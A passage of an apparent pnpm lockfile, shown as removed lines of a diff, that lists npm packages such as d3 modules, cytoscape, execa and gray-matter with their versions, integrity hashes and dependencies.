sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==} - engines: {node: '>=0.4.0'} - hasBin: true - dev: false - - /ansi-sequence-parser@1.1.1: - resolution: {integrity: sha512-vJXt3yiaUL4UU546s3rPXlsry/RnM730G1+HkpKE012AN0sx1eOrxSu95oKDIonskeLTijMgqWZ3uDEe3NFvyg==} - dev: false - - /ansi-styles@3.2.1: - resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} - engines: {node: '>=4'} - dependencies: - color-convert: 1.9.3 - dev: false - - /arch@2.2.0: - resolution: {integrity: sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==} - dev: false - - /arg@1.0.0: - resolution: {integrity: sha512-Wk7TEzl1KqvTGs/uyhmHO/3XLd3t1UeU4IstvPXVzGPM522cTjqjNZ99esCkcL52sjqjo8e8CTBcWhkxvGzoAw==} - dev: false - - /argparse@1.0.10: - resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==} - dependencies: - sprintf-js: 1.0.3 - dev: false - - /argparse@2.0.1: - resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} - dev: false - - /astring@1.8.6: - resolution: {integrity: sha512-ISvCdHdlTDlH5IpxQJIex7BWBywFWgjJSVdwst+/iQCoEYnyOaQ95+X1JGshuBjGp6nxKUy1jMgE3zPqN7fQdg==} - hasBin: true - dev: false - - /bail@2.0.2: - resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} - dev: false - - /busboy@1.6.0: - resolution: {integrity: sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==} - engines: {node: '>=10.16.0'} - dependencies: - streamsearch: 1.1.0 - dev: false - - /caniuse-lite@1.0.30001600: - resolution: {integrity: sha512-+2S9/2JFhYmYaDpZvo0lKkfvuKIglrx68MwOBqMGHhQsNkLjB5xtc/TGoEPs+MxjSyN/72qer2g97nzR641mOQ==} - dev: false - - /ccount@2.0.1: - resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} - dev: false - - /chalk@2.3.0: - resolution: {integrity: sha512-Az5zJR2CBujap2rqXGaJKaPHyJ0IrUimvYNX+ncCy8PJP4ltOGTrHUIo097ZaL2zMeKYpiCdqDvS6zdrTFok3Q==} - engines: {node: '>=4'} - dependencies: - ansi-styles: 3.2.1 - escape-string-regexp: 1.0.5 - supports-color: 4.5.0 - dev: false - - /character-entities-html4@2.1.0: - resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} - dev: false - - /character-entities-legacy@3.0.0: - resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} - dev: false - - /character-entities@2.0.2: - resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} - dev: false - - /character-reference-invalid@2.0.1: - resolution: {integrity: sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==} - dev: false - - /client-only@0.0.1: - resolution: {integrity: sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==} - dev: false - - /clipboardy@1.2.2: - resolution: {integrity: sha512-16KrBOV7bHmHdxcQiCvfUFYVFyEah4FI8vYT1Fr7CGSA4G+xBWMEfUEQJS1hxeHGtI9ju1Bzs9uXSbj5HZKArw==} - engines: {node: '>=4'} - dependencies: - arch: 2.2.0 - execa: 0.8.0 - dev: false - - /clsx@2.1.0: - resolution: {integrity: sha512-m3iNNWpd9rl3jvvcBnu70ylMdrXt8Vlq4HYadnU5fwcOtvkSQWPmj7amUcDT2qYI7risszBjI5AUIUox9D16pg==} - engines: {node: '>=6'} - dev: false - - /color-convert@1.9.3: - resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==} - dependencies: - color-name: 1.1.3 - dev: false - - /color-name@1.1.3: - resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==} - dev: false - - /comma-separated-tokens@2.0.3: - resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} - dev: false - - /commander@7.2.0: - resolution: {integrity: sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==} - engines: {node: '>= 10'} - dev: false - - /commander@8.3.0: - resolution: {integrity: sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==} - engines: {node: '>= 12'} - dev: false - - /compute-scroll-into-view@3.1.0: - resolution: {integrity: sha512-rj8l8pD4bJ1nx+dAkMhV1xB5RuZEyVysfxJqB1pRchh1KVvwOv9b7CGB8ZfjTImVv2oF+sYMUkMZq6Na5Ftmbg==} - dev: false - - /cose-base@1.0.3: - resolution: {integrity: sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==} - dependencies: - layout-base: 1.0.2 - dev: false - - /cross-spawn@5.1.0: - resolution: {integrity: sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==} - dependencies: - lru-cache: 4.1.5 - shebang-command: 1.2.0 - which: 1.3.1 - dev: false - - /csstype@3.1.3: - resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} - dev: false - - /cytoscape-cose-bilkent@4.1.0(cytoscape@3.28.1): - resolution: {integrity: sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==} - peerDependencies: - cytoscape: ^3.2.0 - dependencies: - cose-base: 1.0.3 - cytoscape: 3.28.1 - dev: false - - /cytoscape@3.28.1: - resolution: {integrity: sha512-xyItz4O/4zp9/239wCcH8ZcFuuZooEeF8KHRmzjDfGdXsj3OG9MFSMA0pJE0uX3uCN/ygof6hHf4L7lst+JaDg==} - engines: {node: '>=0.10'} - dependencies: - heap: 0.2.7 - lodash: 4.17.21 - dev: false - - /d3-array@2.12.1: - resolution: {integrity: sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ==} - dependencies: - internmap: 1.0.1 - dev: false - - /d3-array@3.2.4: - resolution: {integrity: sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==} - engines: {node: '>=12'} - dependencies: - internmap: 2.0.3 - dev: false - - /d3-axis@3.0.0: - resolution: {integrity: sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==} - engines: {node: '>=12'} - dev: false - - /d3-brush@3.0.0: - resolution: {integrity: sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==} - engines: {node: '>=12'} - dependencies: - d3-dispatch: 3.0.1 - d3-drag: 3.0.0 - d3-interpolate: 3.0.1 - d3-selection: 3.0.0 - d3-transition: 3.0.1(d3-selection@3.0.0) - dev: false - - /d3-chord@3.0.1: - resolution: {integrity: sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==} - engines: {node: '>=12'} - dependencies: - d3-path: 3.1.0 - dev: false - - /d3-color@3.1.0: - resolution: {integrity: sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==} - engines: {node: '>=12'} - dev: false - - /d3-contour@4.0.2: - resolution: {integrity: sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA==} - engines: {node: '>=12'} - dependencies: - d3-array: 3.2.4 - dev: false - - /d3-delaunay@6.0.4: - resolution: {integrity: sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A==} - engines: {node: '>=12'} - dependencies: - delaunator: 5.0.1 - dev: false - - /d3-dispatch@3.0.1: - resolution: {integrity: sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==} - engines: {node: '>=12'} - dev: false - - /d3-drag@3.0.0: - resolution: {integrity: sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==} - engines: {node: '>=12'} - dependencies: - d3-dispatch: 3.0.1 - d3-selection: 3.0.0 - dev: false - - /d3-dsv@3.0.1: - resolution: {integrity: sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==} - engines: {node: '>=12'} - hasBin: true - dependencies: - commander: 7.2.0 - iconv-lite: 0.6.3 - rw: 1.3.3 - dev: false - - /d3-ease@3.0.1: - resolution: {integrity: sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==} - engines: {node: '>=12'} - dev: false - - /d3-fetch@3.0.1: - resolution: {integrity: sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==} - engines: {node: '>=12'} - dependencies: - d3-dsv: 3.0.1 - dev: false - - /d3-force@3.0.0: - resolution: {integrity: sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==} - engines: {node: '>=12'} - dependencies: - d3-dispatch: 3.0.1 - d3-quadtree: 3.0.1 - d3-timer: 3.0.1 - dev: false - - /d3-format@3.1.0: - resolution: {integrity: sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==} - engines: {node: '>=12'} - dev: false - - /d3-geo@3.1.1: - resolution: {integrity: sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q==} - engines: {node: '>=12'} - dependencies: - d3-array: 3.2.4 - dev: false - - /d3-hierarchy@3.1.2: - resolution: {integrity: sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==} - engines: {node: '>=12'} - dev: false - - /d3-interpolate@3.0.1: - resolution: {integrity: sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==} - engines: {node: '>=12'} - dependencies: - d3-color: 3.1.0 - dev: false - - /d3-path@1.0.9: - resolution: {integrity: sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==} - dev: false - - /d3-path@3.1.0: - resolution: {integrity: sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==} - engines: {node: '>=12'} - dev: false - - /d3-polygon@3.0.1: - resolution: {integrity: sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==} - engines: {node: '>=12'} - dev: false - - /d3-quadtree@3.0.1: - resolution: {integrity: sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==} - engines: {node: '>=12'} - dev: false - - /d3-random@3.0.1: - resolution: {integrity: sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==} - engines: {node: '>=12'} - dev: false - - /d3-sankey@0.12.3: - resolution: {integrity: sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ==} - dependencies: - d3-array: 2.12.1 - d3-shape: 1.3.7 - dev: false - - /d3-scale-chromatic@3.1.0: - resolution: {integrity: sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ==} - engines: {node: '>=12'} - dependencies: - d3-color: 3.1.0 - d3-interpolate: 3.0.1 - dev: false - - /d3-scale@4.0.2: - resolution: {integrity: sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==} - engines: {node: '>=12'} - dependencies: - d3-array: 3.2.4 - d3-format: 3.1.0 - d3-interpolate: 3.0.1 - d3-time: 3.1.0 - d3-time-format: 4.1.0 - dev: false - - /d3-selection@3.0.0: - resolution: {integrity: sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==} - engines: {node: '>=12'} - dev: false - - /d3-shape@1.3.7: - resolution: {integrity: sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==} - dependencies: - d3-path: 1.0.9 - dev: false - - /d3-shape@3.2.0: - resolution: {integrity: sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==} - engines: {node: '>=12'} - dependencies: - d3-path: 3.1.0 - dev: false - - /d3-time-format@4.1.0: - resolution: {integrity: sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==} - engines: {node: '>=12'} - dependencies: - d3-time: 3.1.0 - dev: false - - /d3-time@3.1.0: - resolution: {integrity: sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==} - engines: {node: '>=12'} - dependencies: - d3-array: 3.2.4 - dev: false - - /d3-timer@3.0.1: - resolution: {integrity: sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==} - engines: {node: '>=12'} - dev: false - - /d3-transition@3.0.1(d3-selection@3.0.0): - resolution: {integrity: sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==} - engines: {node: '>=12'} - peerDependencies: - d3-selection: 2 - 3 - dependencies: - d3-color: 3.1.0 - d3-dispatch: 3.0.1 - d3-ease: 3.0.1 - d3-interpolate: 3.0.1 - d3-selection: 3.0.0 - d3-timer: 3.0.1 - dev: false - - /d3-zoom@3.0.0: - resolution: {integrity: sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==} - engines: {node: '>=12'} - dependencies: - d3-dispatch: 3.0.1 - d3-drag: 3.0.0 - d3-interpolate: 3.0.1 - d3-selection: 3.0.0 - d3-transition: 3.0.1(d3-selection@3.0.0) - dev: false - - /d3@7.9.0: - resolution: {integrity: sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA==} - engines: {node: '>=12'} - dependencies: - d3-array: 3.2.4 - d3-axis: 3.0.0 - d3-brush: 3.0.0 - d3-chord: 3.0.1 - d3-color: 3.1.0 - d3-contour: 4.0.2 - d3-delaunay: 6.0.4 - d3-dispatch: 3.0.1 - d3-drag: 3.0.0 - d3-dsv: 3.0.1 - d3-ease: 3.0.1 - d3-fetch: 3.0.1 - d3-force: 3.0.0 - d3-format: 3.1.0 - d3-geo: 3.1.1 - d3-hierarchy: 3.1.2 - d3-interpolate: 3.0.1 - d3-path: 3.1.0 - d3-polygon: 3.0.1 - d3-quadtree: 3.0.1 - d3-random: 3.0.1 - d3-scale: 4.0.2 - d3-scale-chromatic: 3.1.0 - d3-selection: 3.0.0 - d3-shape: 3.2.0 - d3-time: 3.1.0 - d3-time-format: 4.1.0 - d3-timer: 3.0.1 - d3-transition: 3.0.1(d3-selection@3.0.0) - d3-zoom: 3.0.0 - dev: false - - /dagre-d3-es@7.0.10: - resolution: {integrity: sha512-qTCQmEhcynucuaZgY5/+ti3X/rnszKZhEQH/ZdWdtP1tA/y3VoHJzcVrO9pjjJCNpigfscAtoUB5ONcd2wNn0A==} - dependencies: - d3: 7.9.0 - lodash-es: 4.17.21 - dev: false - - /dayjs@1.11.10: - resolution: {integrity: sha512-vjAczensTgRcqDERK0SR2XMwsF/tSvnvlv6VcF2GIhg6Sx4yOIt/irsr1RDJsKiIyBzJDpCoXiWWq28MqH2cnQ==} - dev: false - - /debug@4.3.4: - resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==} - engines: {node: '>=6.0'} - peerDependencies: - supports-color: '*' - peerDependenciesMeta: - supports-color: - optional: true - dependencies: - ms: 2.1.2 - dev: false - - /decode-named-character-reference@1.0.2: - resolution: {integrity: sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==} - dependencies: - character-entities: 2.0.2 - dev: false - - /delaunator@5.0.1: - resolution: {integrity: sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw==} - dependencies: - robust-predicates: 3.0.2 - dev: false - - /dequal@2.0.3: - resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} - engines: {node: '>=6'} - dev: false - - /devlop@1.1.0: - resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} - dependencies: - dequal: 2.0.3 - dev: false - - /diff@5.2.0: - resolution: {integrity: sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==} - engines: {node: '>=0.3.1'} - dev: false - - /dompurify@3.0.11: - resolution: {integrity: sha512-Fan4uMuyB26gFV3ovPoEoQbxRRPfTu3CvImyZnhGq5fsIEO+gEFLp45ISFt+kQBWsK5ulDdT0oV28jS1UrwQLg==} - dev: false - - /elkjs@0.9.2: - resolution: {integrity: sha512-2Y/RaA1pdgSHpY0YG4TYuYCD2wh97CRvu22eLG3Kz0pgQ/6KbIFTxsTnDc4MH/6hFlg2L/9qXrDMG0nMjP63iw==} - dev: false - - /entities@4.5.0: - resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} - engines: {node: '>=0.12'} - dev: false - - /escape-string-regexp@1.0.5: - resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} - engines: {node: '>=0.8.0'} - dev: false - - /escape-string-regexp@5.0.0: - resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==} - engines: {node: '>=12'} - dev: false - - /esprima@4.0.1: - resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} - engines: {node: '>=4'} - hasBin: true - dev: false - - /estree-util-attach-comments@2.1.1: - resolution: {integrity: sha512-+5Ba/xGGS6mnwFbXIuQiDPTbuTxuMCooq3arVv7gPZtYpjp+VXH/NkHAP35OOefPhNG/UGqU3vt/LTABwcHX0w==} - dependencies: - '@types/estree': 1.0.5 - dev: false - - /estree-util-build-jsx@2.2.2: - resolution: {integrity: sha512-m56vOXcOBuaF+Igpb9OPAy7f9w9OIkb5yhjsZuaPm7HoGi4oTOQi0h2+yZ+AtKklYFZ+rPC4n0wYCJCEU1ONqg==} - dependencies: - '@types/estree-jsx': 1.0.5 - estree-util-is-identifier-name: 2.1.0 - estree-walker: 3.0.3 - dev: false - - /estree-util-is-identifier-name@2.1.0: - resolution: {integrity: sha512-bEN9VHRyXAUOjkKVQVvArFym08BTWB0aJPppZZr0UNyAqWsLaVfAqP7hbaTJjzHifmB5ebnR8Wm7r7yGN/HonQ==} - dev: false - - /estree-util-to-js@1.2.0: - resolution: {integrity: sha512-IzU74r1PK5IMMGZXUVZbmiu4A1uhiPgW5hm1GjcOfr4ZzHaMPpLNJjR7HjXiIOzi25nZDrgFTobHTkV5Q6ITjA==} - dependencies: - '@types/estree-jsx': 1.0.5 - astring: 1.8.6 - source-map: 0.7.4 - dev: false - - /estree-util-value-to-estree@1.3.0: - resolution: {integrity: sha512-Y+ughcF9jSUJvncXwqRageavjrNPAI+1M/L3BI3PyLp1nmgYTGUXU6t5z1Y7OWuThoDdhPME07bQU+d5LxdJqw==} - engines: {node: '>=12.0.0'} - dependencies: - is-plain-obj: 3.0.0 - dev: false - - /estree-util-visit@1.2.1: - resolution: {integrity: sha512-xbgqcrkIVbIG+lI/gzbvd9SGTJL4zqJKBFttUl5pP27KhAjtMKbX/mQXJ7qgyXpMgVy/zvpm0xoQQaGL8OloOw==} - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/unist': 2.0.10 - dev: false - - /estree-walker@3.0.3: - resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} - dependencies: - '@types/estree': 1.0.5 - dev: false - - /execa@0.8.0: - resolution: {integrity: sha512-zDWS+Rb1E8BlqqhALSt9kUhss8Qq4nN3iof3gsOdyINksElaPyNBtKUMTR62qhvgVWR0CqCX7sdnKe4MnUbFEA==} - engines: {node: '>=4'} - dependencies: - cross-spawn: 5.1.0 - get-stream: 3.0.0 - is-stream: 1.1.0 - npm-run-path: 2.0.2 - p-finally: 1.0.0 - signal-exit: 3.0.7 - strip-eof: 1.0.0 - dev: false - - /extend-shallow@2.0.1: - resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} - engines: {node: '>=0.10.0'} - dependencies: - is-extendable: 0.1.1 - dev: false - - /extend@3.0.2: - resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} - dev: false - - /flexsearch@0.7.43: - resolution: {integrity: sha512-c5o/+Um8aqCSOXGcZoqZOm+NqtVwNsvVpWv6lfmSclU954O3wvQKxxK8zj74fPaSJbXpSLTs4PRhh+wnoCXnKg==} - dev: false - - /focus-visible@5.2.0: - resolution: {integrity: sha512-Rwix9pBtC1Nuy5wysTmKy+UjbDJpIfg8eHjw0rjZ1mX4GNLz1Bmd16uDpI3Gk1i70Fgcs8Csg2lPm8HULFg9DQ==} - dev: false - - /get-stream@3.0.0: - resolution: {integrity: sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==} - engines: {node: '>=4'} - dev: false - - /git-up@7.0.0: - resolution: {integrity: sha512-ONdIrbBCFusq1Oy0sC71F5azx8bVkvtZtMJAsv+a6lz5YAmbNnLD6HAB4gptHZVLPR8S2/kVN6Gab7lryq5+lQ==} - dependencies: - is-ssh: 1.4.0 - parse-url: 8.1.0 - dev: false - - /git-url-parse@13.1.1: - resolution: {integrity: sha512-PCFJyeSSdtnbfhSNRw9Wk96dDCNx+sogTe4YNXeXSJxt7xz5hvXekuRn9JX7m+Mf4OscCu8h+mtAl3+h5Fo8lQ==} - dependencies: - git-up: 7.0.0 - dev: false - - /github-slugger@2.0.0: - resolution: {integrity: sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==} - dev: false - - /glob-to-regexp@0.4.1: - resolution: {integrity: sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==} - dev: false - - /graceful-fs@4.2.11: - resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} - dev: false - - /gray-matter@4.0.3: - resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==} - engines: {node: '>=6.0'} - dependencies: - js-yaml: 3.14.1 - kind-of: 6.0.3 - section-matter: 1.0.0 - strip-bom-string: 1.0.0 - dev: false - - /has-flag@2.0.0: - resolution: {integrity: sha512-P+1n3MnwjR/Epg9BBo1KT8qbye2g2Ou4sFumihwt6I4tsUX7jnLcX4BTOSKg/B1ZrIYMN9FcEnG4x5a7NB8Eng==} - engines: {node: '>=0.10.0'} - dev: false - - /hash-obj@4.0.0: - resolution: {integrity: sha512-FwO1BUVWkyHasWDW4S8o0ssQXjvyghLV2rfVhnN36b2bbcj45eGiuzdn9XOvOpjV3TKQD7Gm2BWNXdE9V4KKYg==} - engines: {node: '>=12'} - dependencies: - is-obj: 3.0.0 - sort-keys: 5.0.0 - type-fest: 1.4.0 - dev: false - - /hast-util-from-dom@5.0.0: - resolution: {integrity: 